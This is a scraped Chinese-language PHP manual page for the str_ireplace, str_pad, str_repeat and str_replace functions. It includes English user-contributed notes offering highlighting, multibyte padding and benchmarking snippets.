        return substr($haystack, 0, $ind) . "<b>" . substr($haystack, $ind, $len) . "</b>" .
            highlight($needle, substr($haystack, $ind + $len));
    } else return $haystack;
}
?>

This example uses HTML bold tags, but you can easily change the highlighting method.
holblin at holblin dot com 09-Mar-2011 01:11
Warning with highlighting ...

I used :

<?php
$text = preg_replace('/('.$q.')/i','<span class=highlighting "">$1</span>' , $text);
?>

Because this line do not allow to highlight uppercase and lowercase correctly (transform uppercase to lowercase for exemple)

<?php
 $text = str_ireplace( $q , '<span class=highlighting "">'.$q.'</span>', $text);
?>

But when $q contain some regex you have some problems ... for exemple :
<?php $q = '('; ?>

So you must use preg_replace to highlight correctly the text and you must create a function for escape bad regex caracters !

I think that a better function can be found but this works I guess :

<?php
function regex_escape( $q )
{
    return preg_replace('/([\[\]\(\)\{\}\-\.\*\?\|\^\$])/', '\$1', $q);
}
?>
stepanic dot matija at gmail dot com 21-Oct-2010 08:57
FIX-ed problem with highlighting second 'o' OR 'a', in this string

<?php
function highlight_string ($haystack, $needle, $highlight_class) {
         // return $haystack if there is no highlight color or strings given, nothing to do.

        $first_encode='XXXXXXXXXXXXXXX';     //ENCODE string

        $second_encode='YYYYYYYYYYYYYYY';

        preg_match_all("/$needle+/i", $haystack, $matches);
        if (is_array($matches[0]) && count($matches[0]) >= 1) {
            foreach ($matches[0] as $match) {
                $haystack = str_replace($match, $first_encode.$match.$second_encode, $haystack);
            }
        }

        $haystack=str_replace(array($first_encode,$second_encode),
array('<font class="'.$highlight_class.'" >','</font>'),$haystack);

        return $haystack;
}
?>
triplepoint at gmail dot com 23-Sep-2010 10:06
Regarding maintaining the case of the find/replace for search-highlighting purposes:

if the performance hit of a regular expression isn't a big problem, there's something like:

<?php
function highlight_matches($find_text, $text) {
  return preg_replace("/($find_text)/i", '<span class="search_item">$1</span>', $text);
}
?>
ishutko at gmail dot com 16-Mar-2009 01:49
For function work with cirilic

setlocale (LC_ALL, 'ru_RU');
sawdust 04-Dec-2008 07:28
Here's a different approach to search result keyword highlighting that will match all keyword sub strings in a case insensitive manner and preserve case in the returned text. This solution first grabs all matches within $haystack in a case insensitive manner, and the secondly loops through each of those matched sub strings and applies a case sensitive replace in $haystack. This way each unique (in terms of case) instance of $needle is operated on individually allowing a case sensitive replace to be done in order to preserve the original case of each unique instance of $needle.

<?php
function highlightStr($haystack, $needle, $highlightColorValue) {
     // return $haystack if there is no highlight color or strings given, nothing to do.
    if (strlen($highlightColorValue) < 1 || strlen($haystack) < 1 || strlen($needle) < 1) {
        return $haystack;
    }
    preg_match_all("/$needle+/i", $haystack, $matches);
    if (is_array($matches[0]) && count($matches[0]) >= 1) {
        foreach ($matches[0] as $match) {
            $haystack = str_replace($match, '<span style="background-color:'.$highlightColorValue.';">'.$match.'</span>', $haystack);
        }
    }
    return $haystack;
}
?>
Michael dot Bond at mail dot wvu dot edu 14-Nov-2008 06:44
This function will highlight search terms (Key Words in Context).

The difference between this one and the ones below is that it will preserve the original case of the search term as well. So, if you search for "american" but in the original string it is "American" it will retain the capital "A" as well as the correct case for the rest of the string.

<?php
function kwic($str1,$str2) {

    $kwicLen = strlen($str1);

    $kwicArray = array();
    $pos          = 0;
    $count       = 0;

    while($pos !== FALSE) {
        $pos = stripos($str2,$str1,$pos);
        if($pos !== FALSE) {
            $kwicArray[$count]['kwic'] = substr($str2,$pos,$kwicLen);
            $kwicArray[$count++]['pos']  = $pos;
            $pos++;
        }
    }

    for($I=count($kwicArray)-1;$I>=0;$I--) {
        $kwic = '<span class="kwic">'.$kwicArray[$I]['kwic'].'</span>';
        $str2 = substr_replace($str2,$kwic,$kwicArray[$I]['pos'],$kwicLen);
    }

    return($str2);
}
?>
hfuecks at nospam dot org 04-Jul-2005 02:07
Note that character case is being defined by your server's locale setting, which effects strings containing non-ASCII characters.

See strtolower() - http://www.php.net/strtolower and comments - internally str_ireplace converts $search and $replace to lowercase to find matches.
daevid at daevid dot com 05-Apr-2005 01:14
here's a neat little function I whipped up to do HTML color coding of SQL strings.

<?php
/**
 * Output the HTML debugging string in color coded glory for a sql query
 * This is very nice for being able to see many SQL queries
 * @access     public
 * @return     void. prints HTML color coded string of the input $query.
 * @param     string $query The SQL query to be executed.
 * @author     Daevid Vincent [daevid@LockdownNetworks.com]
 *  @version     1.0
 * @date        04/05/05
 * @todo     highlight SQL functions.
 */
function SQL_DEBUG( $query )
{
    if( $query == '' ) return 0;

    global $SQL_INT;
    if( !isset($SQL_INT) ) $SQL_INT = 0;

    //[dv] this has to come first or you will have goofy results later.
    $query = preg_replace("/['\"]([^'\"]*)['\"]/i", "'<FONT COLOR='#FF6600'>$1</FONT>'", $query, -1);

    $query = str_ireplace(
                            array (
                                    '*',
                                    'SELECT ',
                                    'UPDATE ',
                                    'DELETE ',
                                    'INSERT ',
                                    'INTO',
                                    'VALUES',
                                    'FROM',
                                    'LEFT',
                                    'JOIN',
                                    'WHERE',
                                    'LIMIT',
                                    'ORDER BY',
                                    'AND',
                                    'OR ', //[dv] note the space. otherwise you match to 'COLOR' ;-)
                                    'DESC',
                                    'ASC',
                                    'ON '
                                  ),
                            array (
                                    "<FONT COLOR='#FF6600'><B>*</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>SELECT</B> </FONT>",
                                    "<FONT COLOR='#00AA00'><B>UPDATE</B> </FONT>",
                                    "<FONT COLOR='#00AA00'><B>DELETE</B> </FONT>",
                                    "<FONT COLOR='#00AA00'><B>INSERT</B> </FONT>",
                                    "<FONT COLOR='#00AA00'><B>INTO</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>VALUES</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>FROM</B></FONT>",
                                    "<FONT COLOR='#00CC00'><B>LEFT</B></FONT>",
                                    "<FONT COLOR='#00CC00'><B>JOIN</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>WHERE</B></FONT>",
                                    "<FONT COLOR='#AA0000'><B>LIMIT</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>ORDER BY</B></FONT>",
                                    "<FONT COLOR='#0000AA'><B>AND</B></FONT>",
                                    "<FONT COLOR='#0000AA'><B>OR</B> </FONT>",
                                    "<FONT COLOR='#0000AA'><B>DESC</B></FONT>",
                                    "<FONT COLOR='#0000AA'><B>ASC</B></FONT>",
                                    "<FONT COLOR='#00DD00'><B>ON</B> </FONT>"
                                  ),
                            $query
                          );

    echo "<FONT COLOR='#0000FF'><B>SQL[".$SQL_INT."]:</B> ".$query."<FONT COLOR='#FF0000'>;</FONT></FONT><BR>\n";

    $SQL_INT++;

} //SQL_DEBUG
?>
aidan at php dot net 30-May-2004 10:36
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


使用另一个字符串填充字符串为指定长度

  • ? str_ireplace
  • str_repeat ?
  • PHP Manual
  • 字符串 函数
  • 使用另一个字符串填充字符串为指定长度

str_pad

(PHP 4 >= 4.0.1, PHP 5, PHP 7)

str_pad — 使用另一个字符串填充字符串为指定长度

说明

str_pad ( string $input , int $pad_length [, string $pad_string = " " [, int $pad_type = STR_PAD_RIGHT ]] ) : string

该函数返回 input 被从左端、右端或者同时两端被填充到制定长度后的结果。如果可选的 pad_string 参数没有被指定，input 将被空格字符填充，否则它将被 pad_string 填充到指定长度。

参数

input

输入字符串。

pad_length

如果 pad_length 的值是负数，小于或者等于输入字符串的长度，不会发生任何填充，并会返回 input 。

pad_string

Note:

如果填充字符的长度不能被 pad_string 整除，那么 pad_string 可能会被缩短。

pad_type

可选的 pad_type 参数的可能值为 STR_PAD_RIGHT，STR_PAD_LEFT 或 STR_PAD_BOTH。如果没有指定 pad_type，则假定它是 STR_PAD_RIGHT。

返回值

返回填充后的字符串。

范例

Example #1 str_pad() 范例

<?php
$input = "Alien";
echo str_pad($input, 10);                      // 输出 "Alien     "
echo str_pad($input, 10, "-=", STR_PAD_LEFT);  // 输出 "-=-=-Alien"
echo str_pad($input, 10, "_", STR_PAD_BOTH);   // 输出 "__Alien___"
echo str_pad($input,  6, "___");               // 输出 "Alien_"
echo str_pad($input,  3, "*");                 // 输出 "Alien"
?>

User Contributed Notes

Kirill Fuchs 06-Aug-2017 09:32
sprintf() is not always faster... It certainly scales a lot better then str_pad so when running a benchmark that pads 10k characters,  sprintf will come out on top. But if you benchmarked a more real world scenario, it seems str_pad comes out the clear winner.

$sTime = microtime(true);
$count = 5;
$s = sprintf("%'\n5s", "\n");
$eTime = microtime(true);
echo 'sprintf ran in ' . (($eTime - $sTime) * 1000) . ' milliseconds' . "\n";

$sTime = microtime(true);
$s = str_pad("\n", 5, "\n");
$eTime = microtime(true);
echo 'str_pad ran in ' . (($eTime - $sTime) * 1000) . ' milliseconds' . "\n";

sprintf ran in 0.015974044799805 milliseconds
str_pad ran in 0.0059604644775391 milliseconds
pulketo at gmail dot com 12-Jun-2017 04:35
// Columnizer: add padding into text columns according maximum column size.
// sample input:
$a='[1515] -> ID=1515 / post_date=2012-06-18 04:48:47 / post_name=review-terminatrix-by-sfam
    [177] -> ID=177 / post_date=2017-05-12 12:12:03 / post_name=review-the-terminator-by-sfam
    [228621100] -> ID=2286 / post_date=2012-06-18 04:48:32 / post_name=terminator-3-rise-of-the-machines-2003';

function columnize($input, $separator=" "){
    $lines = explode("\n", $input);
    foreach ($lines as $k=>$line){
      $r[$k] = explode(" ", trim($line));
    }
    // print_r($r);
    $nc = sizeOf($r[0]);
    // echo $nc;
    for($i=0;$i<$nc;$i++){
      $col[$i] = array_column($r, $i);
      }
    // print_r($col);
    for ($i=0;$i<sizeof($col);$i++){
      $maxlen = max(array_map('strlen', $col[$i]));
      $tam[$i]=$maxlen;
      // echo "$i:$maxlen".PHP_EOL;
      $cs[$i]=$maxlen;
    }
    // print_r($cs);
    $o="";
    for ($r=0;$r<sizeOf($lines);$r++){
      for ($c=0;$c<sizeof($cs);$c++){
        $o.= str_pad($col[$c][$r], $cs[$c]+2, " ", STR_PAD_RIGHT );
      }
      $o .= PHP_EOL;
    }
    return $o;
  }

echo $columnize($a);
// will output text nicely in columns :)
gtwizard 10-Jan-2017 02:52
sprintf is faster

$sTime = microtime(true);
$s = sprintf("%'-1000000s", '-');
$eTime = microtime(true);
echo 'sprintf ran in ' . (($eTime - $sTime) * 1000) . ' milliseconds' . "\n";

$sTime = microtime(true);
$s = str_pad('-', 1000000, '-');
$eTime = microtime(true);
echo 'str_pad ran in ' . (($eTime - $sTime) * 1000) . ' milliseconds' . "\n";

//result
sprintf ran in 2.0260810852051 milliseconds
str_pad ran in 26.59797668457 milliseconds
Anonymous 11-Mar-2016 10:25
Here is the mcinp's version of mb_str_pad bugfixed:

<?php
function mb_str_pad($input, $pad_length, $pad_string=' ', $pad_type=STR_PAD_RIGHT,$encoding='UTF-8'){
        $mb_diff=mb_strlen($input, $encoding)-strlen($input);
        return str_pad($input,$pad_length-$mb_diff,$pad_string,$pad_type);
    }
?>

Still working correctly only if $pad_string is non-multibyte string
Anonymous 19-Jul-2015 11:13
For simple padding, you can use sprintf, which is faster:
see http://php.net/sprintf Example #5 "Specifying padding character"
mcinp 29-Jan-2015 04:04
a different, more robust multibyte version of str_pad that works correctly only if $pad_string is non-multibyte string

function my_mb_str_pad($input, $pad_length, $pad_string=' ', $pad_type=STR_PAD_RIGHT,$encoding='UTF-8'){
    $mb_diff=mb_strlen($str, $encoding)-strlen($string);
    return str_pad($input,$pad_length+$mb_diff,$pad_string,$pad_type);
}
wes at nospamplsexample dot org 28-Nov-2014 06:29
multibyte version:

<?php
function mb_str_pad($str, $pad_len, $pad_str = ' ', $dir = STR_PAD_RIGHT, $encoding = NULL)
{
    $encoding = $encoding === NULL ? mb_internal_encoding() : $encoding;
    $padBefore = $dir === STR_PAD_BOTH || $dir === STR_PAD_LEFT;
    $padAfter = $dir === STR_PAD_BOTH || $dir === STR_PAD_RIGHT;
    $pad_len -= mb_strlen($str, $encoding);
    $targetLen = $padBefore && $padAfter ? $pad_len / 2 : $pad_len;
    $strToRepeatLen = mb_strlen($pad_str, $encoding);
    $repeatTimes = ceil($targetLen / $strToRepeatLen);
    $repeatedString = str_repeat($pad_str, max(0, $repeatTimes)); // safe if used with valid utf-8 strings
    $before = $padBefore ? mb_substr($repeatedString, 0, floor($targetLen), $encoding) : '';
    $after = $padAfter ? mb_substr($repeatedString, 0, ceil($targetLen), $encoding) : '';
    return $before . $str . $after;
}
?>
Marjune 17-Nov-2014 03:45
since the default pad_type is STR_PAD_RIGHT. using STR_PAD_BOTH were always favor in the right pad if the required number of padding characters can't be evenly divided.

e.g

<?php

echo str_pad("input", 10, "pp", STR_PAD_BOTH ); // ppinputppp
echo str_pad("input", 6, "p", STR_PAD_BOTH ); // inputp
echo str_pad("input", 8, "p", STR_PAD_BOTH ); //pinputpp

?>
qeremy [atta] gmail [dotta] com 20-Jan-2013 01:44
A proper unicode string padder;

<?php
mb_internal_encoding('utf-8'); // @important

function str_pad_unicode($str, $pad_len, $pad_str = ' ', $dir = STR_PAD_RIGHT) {
    $str_len = mb_strlen($str);
    $pad_str_len = mb_strlen($pad_str);
    if (!$str_len && ($dir == STR_PAD_RIGHT || $dir == STR_PAD_LEFT)) {
        $str_len = 1; // @debug
    }
    if (!$pad_len || !$pad_str_len || $pad_len <= $str_len) {
        return $str;
    }

    $result = null;
    $repeat = ceil($str_len - $pad_str_len + $pad_len);
    if ($dir == STR_PAD_RIGHT) {
        $result = $str . str_repeat($pad_str, $repeat);
        $result = mb_substr($result, 0, $pad_len);
    } else if ($dir == STR_PAD_LEFT) {
        $result = str_repeat($pad_str, $repeat) . $str;
        $result = mb_substr($result, -$pad_len);
    } else if ($dir == STR_PAD_BOTH) {
        $length = ($pad_len - $str_len) / 2;
        $repeat = ceil($length / $pad_str_len);
        $result = mb_substr(str_repeat($pad_str, $repeat), 0, floor($length))
                    . $str
                       . mb_substr(str_repeat($pad_str, $repeat), 0, ceil($length));
    }

    return $result;
}
?>

Test;
<?php
// needs ie. "test.php" file encoded in "utf-8 without bom"
$s = '...';
for ($i = 3; $i <= 1000; $i++) {
    $s1 = str_pad($s, $i, 'AO', STR_PAD_BOTH); // can not inculde unicode char!!!
    $s2 = str_pad_unicode($s, $i, '??', STR_PAD_BOTH);
    $sl1 = strlen($s1);
    $sl2 = mb_strlen($s2);
    echo  "len $sl1: $s1 \n";
    echo  "len $sl2: $s2 \n";
    echo  "\n";
    if ($sl1 != $sl2) die("Fail!");
}
?>

Output;
len 3: ...
len 3: ...

len 4: ...A
len 4: ...?

len 5: A...A
len 5: ?...?

len 6: A...AO
len 6: ?...??
...
sergey 12-Oct-2011 02:45
You can use trim functions for clearpad string:

ltrim("0001230", "0") -> 1230
rtrim("0123000", "0") -> 0123
trim("0012300")     -> 123
gene at swipesy dot com 24-Sep-2011 09:18
This is how I pad using &nbsp; :

str_replace(" ", "&nbsp;&nbsp;", str_pad($foo, 10, " ", STR_PAD_LEFT))

Seems to work well using two &nbsp; tags for each character added, at least for my use. YMMV.
Kari &#34;Haprog&#34; Sderholm 21-Mar-2009 06:43
Here's a quick and simple way to make an mb_str_pad function that works when you have correctly set your internal encoding.

I'm not sure how well this works in all possible scenarios but atleast it worked for me using UTF-8 as internal encoding and using this function on strings containing scandinavian characters "??????" that are double byte in UTF-8.

<?php
function mb_str_pad($input, $pad_length, $pad_string=' ', $pad_type=STR_PAD_RIGHT) {
    $diff = strlen($input) - mb_strlen($input);
    return str_pad($input, $pad_length+$diff, $pad_string, $pad_type);
}
?>
matrebatre 16-Oct-2008 11:28
Here is a simple function to convert numbers into strings like this:

0 => 0000
1 => 0001
20 => 0020
432 => 0432

<?php

function number_pad($number,$n) {
return str_pad((int) $number,$n,"0",STR_PAD_LEFT);
}

?>

$n indicates how many characters you want.
bxi at apparoat dot nl 20-Mar-2008 06:17
In case you want to pad 2 strings together with a character you can use:

<?php
function pad_between_strings($string1, $string2, $length, $char = " ") {
    $fill_length = $length - ( strlen($string1) + strlen($string2) );
    return $string1 . str_repeat($char, $fill_length) . $string2;
}
?>
Spudley 18-Jul-2007 08:47
Warning: If your string includes non-ascii characters (eg the British pounds sign), str_pad() will treat these as two characters when calculating the padding.

So for example:
<?php
str_pad($currency_symbol.$showtottopay,12," ",STR_PAD_LEFT);
?>
will produce a different length string depending on whether $currency_symbol is pounds or dollars.

Hope this helps someone -- it caused me a lot of problems with misaligned columns in my invoices until I worked it out.
christian dot reinecke at web dot de 01-Apr-2007 10:43
Fills the first argument (mostly a number, f.e. from a <select> loop to display a date or time) with zeroes.

<?php
function zerofill($mStretch, $iLength = 2)
{
    $sPrintfString = '%0' . (int)$iLength . 's';
    return sprintf($sPrintfString, $mStretch);
}
?>

sprintf() is indeed faster than str_pad.
Silvio Ginter (silvio dot ginter at gmx dot de) 15-Nov-2005 08:43
Hello,

for anyone who needs this, I wrote this extension to str_pad. For details, just look at the comments.

<?php

$string = 'this is a test';
$oldLen = strlen($string);
$direction = STR_PAD_BOTH;
echo $string.'<br>';
echo str_const_len($string, 101, '#', $direction).'<br>';
echo $string.'<br>';
echo str_const_len($string, $oldLen, '#', $direction).'<br>';
echo $string.'<br><br>'."\n";

/*     This function is an extension to str_pad, it manipulates the referenced
    string '$str' and stretches or reduces it to the specified length. It
    returns the number of characters, that were added or stripped. */
function str_const_len(&$str, $len, $char = ' ', $str_pad_const = STR_PAD_RIGHT) {
    $origLen = strlen($str);
    if (strlen($str) < $len) {     /* stretch string */
        $str = str_pad($str, $len, $char, $str_pad_const);
    }
    else {                         /* reduce string */
        switch ($str_pad_const) {
            case STR_PAD_LEFT:
                $str = substr($str, (strlen($str) - $len), $len);
                break;
            case STR_PAD_BOTH:
                $shorten = (int) ((strlen($str) - $len) / 2);
                $str = substr($str, $shorten, $len);
                break;
            default:
                $str = substr($str, 0, $len);
                break;
        }
    }
    return ($len - $origLen);
}
?>
private dot email at optusnet dot com dot au 10-Aug-2005 05:04
I wrote these 3 functions that live in a library i include in every programme. I find them useful, and the syntax is easy.

<?php

$str = "test";

function str_pad_right ( $string , $padchar , $int ) {
    $i = strlen ( $string ) + $int;
    $str = str_pad ( $string , $i , $padchar , STR_PAD_RIGHT );
    return $str;
}

function str_pad_left ( $string , $padchar , $int ) {
    $i = strlen ( $string ) + $int;
    $str = str_pad ( $string , $i , $padchar , STR_PAD_LEFT );
    return $str;
}

function str_pad_both ( $string , $padchar , $int ) {
    $i = strlen ( $string ) + ( $int * 2 );
    $str = str_pad ( $string , $i , $padchar , STR_PAD_BOTH );
    return $str;
}

echo str_pad_left ( $str , "-" , 3 ); // Produces: ---test
echo str_pad_right ( $str , "-" , 3 ); // Produces: test---
echo str_pad_both ( $str , "-" , 3 ); // Produces: ---test---
?>

Hope this can help someone!
zubfatal <root at it dot dk> 27-Mar-2005 09:28
<?php
    /**
     * str_pad_html - Pad a string to a certain length with another string.
     * accepts HTML code in param: $strPadString.
     *
     * @name        str_pad_html()
     * @author        Tim Johannessen <root@it.dk>
     * @version        1.0.0
     * @param        string    $strInput    The array to iterate through, all non-numeric values will be skipped.
     * @param        int    $intPadLength    Padding length, must be greater than zero.
     * @param        string    [$strPadString]    String to pad $strInput with (default: &nbsp;)
     * @param        int        [$intPadType]        STR_PAD_LEFT, STR_PAD_RIGHT (default), STR_PAD_BOTH
     * @return        string    Returns the padded string
    **/
    function str_pad_html($strInput = "", $intPadLength, $strPadString = "&nbsp;", $intPadType = STR_PAD_RIGHT) {
        if (strlen(trim(strip_tags($strInput))) < intval($intPadLength)) {

            switch ($intPadType) {
                 // STR_PAD_LEFT
                case 0:
                    $offsetLeft = intval($intPadLength - strlen(trim(strip_tags($strInput))));
                    $offsetRight = 0;
                    break;

                // STR_PAD_RIGHT
                case 1:
                    $offsetLeft = 0;
                    $offsetRight = intval($intPadLength - strlen(trim(strip_tags($strInput))));
                    break;

                // STR_PAD_BOTH
                case 2:
                    $offsetLeft = intval(($intPadLength - strlen(trim(strip_tags($strInput)))) / 2);
                    $offsetRight = round(($intPadLength - strlen(trim(strip_tags($strInput)))) / 2, 0);
                    break;

                // STR_PAD_RIGHT
                default:
                    $offsetLeft = 0;
                    $offsetRight = intval($intPadLength - strlen(trim(strip_tags($strInput))));
                    break;
            }

            $strPadded = str_repeat($strPadString, $offsetLeft) . $strInput . str_repeat($strPadString, $offsetRight);
            unset($strInput, $offsetLeft, $offsetRight);

            return $strPadded;
        }

        else {
            return $strInput;
        }
    }

?>
bob [at] bobarmadillo [dot] com 03-Dec-2002 09:22
In a lot of cases you're better off using str_repeat if you want to use something like   - it repeats the entire string.

Using str_repeat, I wrote a full string pad function that should closely mimic str_pad in every other way:

<?php
function full_str_pad($input, $pad_length, $pad_string = '', $pad_type = 0) {
 $str = '';
 $length = $pad_length - strlen($input);
 if ($length > 0) { // str_repeat doesn't like negatives
  if ($pad_type == STR_PAD_RIGHT) { // STR_PAD_RIGHT == 1
   $str = $input.str_repeat($pad_string, $length);
  } elseif ($pad_type == STR_PAD_BOTH) { // STR_PAD_BOTH == 2
   $str = str_repeat($pad_string, floor($length/2));
   $str .= $input;
   $str .= str_repeat($pad_string, ceil($length/2));
  } else { // defaults to STR_PAD_LEFT == 0
   $str = str_repeat($pad_string, $length).$input;
  }
 } else { // if $length is negative or zero we don't need to do anything
  $str = $input;
 }
 return $str;
}

$pad_me = "Test String";
echo '|'.full_str_pad($pad_me, 20, ' ')."|\n";
echo '|'.full_str_pad($pad_me, 20, ' ', STR_PAD_RIGHT)."|\n";
echo '|'.full_str_pad($pad_me, 20, ' ', STR_PAD_BOTH)."|\n";
?>
Fahad dot Gilani at anu dot edu dot au 02-Dec-2002 02:22
Basically, *all* of you guys have a 'long' way of padding text with html tags (which includes &nbsp;) You dont even have to do a str_replace... try the following code and this will work with ANY html tag there is out there and you don't have to worry about tag character lengths so on and so forth:
<?
  $text = "This is pretty interesting!";
  $pad_string = "&nbsp;";

  //Pad text on both sides
  $text = str_pad($text, strlen($text)+(20*strlen($pad_string)), $pad_string, STR_PAD_BOTH);
  print $text." Dont you think?";
?>
Will produce:
          This is pretty interesting!           Dont you think?

Cheers,
Fahad
mreilly at NOSPAM dot mac dot com 20-Aug-2002 11:23
When provided with a string of characters as the pad value, str_pad uses all the characters as fill, and can leave partial strings. (eg. If the pad value is 'ABC' and it needs 5 characters to pad with, it outputs 'ABCAB'.) This is a problem when you want to pad with non-breaking spaces, the code for which is 6 characters long.

This can be resolved by first padding the string with a single character that won't be found in the strings such as * then doing a str_replace of * with &nbsp;.
pestilenc at hotmail dot com 06-Jun-2002 04:26
For me this worked.
$string = 'help';

#First, str_pad() with unique character.
$string = str_pad($string, 10, "*", STR_PAD_BOTH);
#$string = '***help***';

#Second, str_replace with '&nbsp;'
$string = str_replace("*", "&nbsp;", $string);


重复一个字符串

  • ? str_pad
  • str_replace ?
  • PHP Manual
  • 字符串 函数
  • 重复一个字符串

str_repeat

(PHP 4, PHP 5, PHP 7)

str_repeat — 重复一个字符串

说明

str_repeat ( string $input , int $multiplier ) : string

返回 input 重复 multiplier 次后的结果。

参数

input

待操作的字符串。

multiplier

input 被重复的次数。

multiplier 必须大于等于 0。如果 multiplier 被设置为 0，函数返回空字符串。

返回值

返回重复后的字符串。

范例

Example #1 str_repeat() 范例

<?php
echo str_repeat("-=", 10);
?>

以上例程会输出：

-=-=-=-=-=-=-=-=-=-=

参见

  • for
  • str_pad() - 使用另一个字符串填充字符串为指定长度
  • substr_count() - 计算字串出现的次数

User Contributed Notes

Alexander Ovsiyenko 29-Jun-2018 11:22
http://php.net/manual/en/function.str-repeat.php#90555

Damien Bezborodov , yeah but execution time of your solution is 3-5 times worse than str_replace.

<?php

function spam($number) {
    return str_repeat('test', $number);
}

function spam2($number) {
    return implode('', array_fill(0, $number, 'test'));
}

//echo spam(4);
$before = microtime(true);
for ($i = 0; $i < 100000; $i++) {
    spam(10);
}
echo microtime(true) - $before , "\n"; // 0.010297
$before = microtime(true);
for ($i = 0; $i < 100000; $i++) {
    spam2(10);
}
echo microtime(true) - $before; // 0.032104
Anonymous 23-Oct-2011 04:51
hi guys ,
i've faced this example :
<?php

$my_head = str_repeat("°~", 35);
echo $my_head;

?>

so , the length should be 35x2 = 70 !!!
if we echo it :

<?php
$my_head = str_repeat("°~", 35);
echo strlen($my_head); // 105
echo mb_strlen($my_head, 'UTF-8'); // 70
?>

be carefull with characters and try to use mb_* package to make sure everything goes well ...
Damien Bezborodov 28-Apr-2009 12:45
Here is a simple one liner to repeat a string multiple times with a separator:

<?php
implode($separator, array_fill(0, $multiplier, $input));
?>

Example script:
<?php

// How I like to repeat a string using standard PHP functions
$input = 'bar';
$multiplier = 5;
$separator = ',';
print implode($separator, array_fill(0, $multiplier, $input));
print "\n";

// Say, this comes in handy with count() on an array that we want to use in an
// SQL query such as 'WHERE foo IN (...)'
$args = array('1', '2', '3');
print implode(',', array_fill(0, count($args), '?'));
print "\n";
?>

Example Output:
bar,bar,bar,bar,bar
?,?,?
claude dot pache at gmail dot com 10-Feb-2009 02:25
Here is a shorter version of Kees van Dieren's function below, which is moreover compatible with the syntax of str_repeat:

<?php
function str_repeat_extended($input, $multiplier, $separator='')
{
    return $multiplier==0 ? '' : str_repeat($input.$separator, $multiplier-1).$input;
}
?>
21-Jul-2003 10:45
str_repeat does not repeat symbol with code 0 on some (maybe all?) systems (tested on PHP Version 4.3.2 , FreeBSD 4.8-STABLE i386 ).

Use <pre>
while(strlen($str) < $desired) $str .= chr(0);
</pre> to have string filled with zero-symbols.


子字符串替换

  • ? str_repeat
  • str_rot13 ?
  • PHP Manual
  • 字符串 函数
  • 子字符串替换

str_replace

(PHP 4, PHP 5, PHP 7)

str_replace — 子字符串替换

说明

str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] ) : mixed

该函数返回一个字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换之后的结果。

如果没有一些特殊的替换需求（比如正则表达式），你应该使用该函数替换 ereg_replace() 和 preg_replace()。

参数

如果 search 和 replace 为数组，那么 str_replace() 将对 subject 做二者的映射替换。如果 replace 的值的个数少于 search 的个数，多余的替换将使用空字符串来进行。如果 search 是一个数组而 replace 是一个字符串，那么 search 中每个元素的替换将始终使用这个字符串。该转换不会改变大小写。

如果 search 和 replace 都是数组，它们的值将会被依次处理。

search

查找的目标值，也就是 needle。一个数组可以指定多个目标。

replace

search 的替换值。一个数组可以被用来指定多重替换。

subject

执行替换的数组或者字符串。也就是 haystack。

如果 subject 是一个数组，替换操作将遍历整个 subject，返回值也将是一个数组。

count

如果被指定，它的值将被设置为替换发生的次数。

返回值

该函数返回替换后的数组或者字符串。

范例

Example #1 str_replace() 基本范例

<?php
// 赋值: <body text='black'>
$bodytag = str_replace("%body%", "black", "<body text='%body%'>");

// 赋值: Hll Wrld f PHP
$vowels = array("a", "e", "i", "o", "u", "A", "E", "I", "O", "U");
$onlyconsonants = str_replace($vowels, "", "Hello World of PHP");

// 赋值: You should eat pizza, beer, and ice cream every day
$phrase  = "You should eat fruits, vegetables, and fiber every day.";
$healthy = array("fruits", "vegetables", "fiber");
$yummy   = array("pizza", "beer", "ice cream");

$newphrase = str_replace($healthy, $yummy, $phrase);

// 赋值: 2
$str = str_replace("ll", "", "good golly miss molly!", $count);
echo $count;
?>

Example #2 可能的 str_replace() 替换范例

<?php
// 替换顺序
$str     = "Line 1\nLine 2\rLine 3\r\nLine 4\n";
$order   = array("\r\n", "\n", "\r");
$replace = '<br />';

// 首先替换 \r\n 字符，因此它们不会被两次转换
$newstr = str_replace($order, $replace, $str);

// 输出 F ，因为 A 被 B 替换，B 又被 C 替换，以此类推...
// 由于从左到右依次替换，最终 E 被 F 替换
$search  = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
$subject = 'A';
echo str_replace($search, $replace, $subject);

// 输出: apearpearle pear
// 由于上面提到的原因
$letters = array('a', 'p');
$fruit   = array('apple', 'pear');
$text    = 'a p';
$output  = str_replace($letters, $fruit, $text);
echo $output;
?>

注释

Note: 此函数可安全用于二进制对象。

Caution

了解替换顺序

由于 str_replace() 的替换时从左到右依次进行的，进行多重替换的时候可能会替换掉之前插入的值。参见该文档的范例。

Note:

该函数区分大小写。使用 str_ireplace() 可以进行不区分大小写的替换。

参见

  • str_ireplace() - str_replace 的忽略大小写版本
  • substr_replace() - 替换字符串的子串
  • preg_replace() - 执行一个正则表达式的搜索和替换
  • strtr() - 转换指定字符

User Contributed Notes

ravenswd at gmail dot com 11-Jul-2018 01:33
This is what happens when the search and replace arrays are different sizes:

<?php
$search  = array('a', 'b', 'c', 'd', 'e');
$replace = array('A', 'B', 'C');
$subject = 'abcdefg';
echo str_replace($search, $replace, $subject);
// result: 'ABCfg'

$search  = array('a', 'b', 'c');
$replace = array('A', 'B', 'C', 'D', 'E');
$subject = 'abcdefg';
echo str_replace($search, $replace, $subject);
// result: 'ABCdefg'
?>

No warning or error is generated in either of these cases.
ASchmidt at Anamera dot net 20-May-2018 04:22
Escaping strings with control characters, quotes and backslashes for subsequent use in MySQL commands.

MySQL has documented a number of backslash escape sequences that need to be used to pass certain values in SQL commands: https://dev.mysql.com/doc/refman/5.7/en/string-literals.html

It's crucial to escape existing backslashes first to prevent double-escaping, before escaping the various control sequences:

<?php
$result = str_replace(
                array( '\\',    "\0",   "'",    "\x8" /* BS */, "\n",   "\r",   "\t",   "\x1A" /* Ctrl+Z */ ),
                array( '\\\\',  '\\0',  '\\\'', '\\b',          '\\n',  '\\r',  '\\t',  '\\Z' ),
                $value );
?>

This code is NOT intended to protect against SQL insertions, it's intended to PRESERVE string content correctly, if it contains control characters.
jefrey at forteras dot tech 02-Mar-2018 02:54
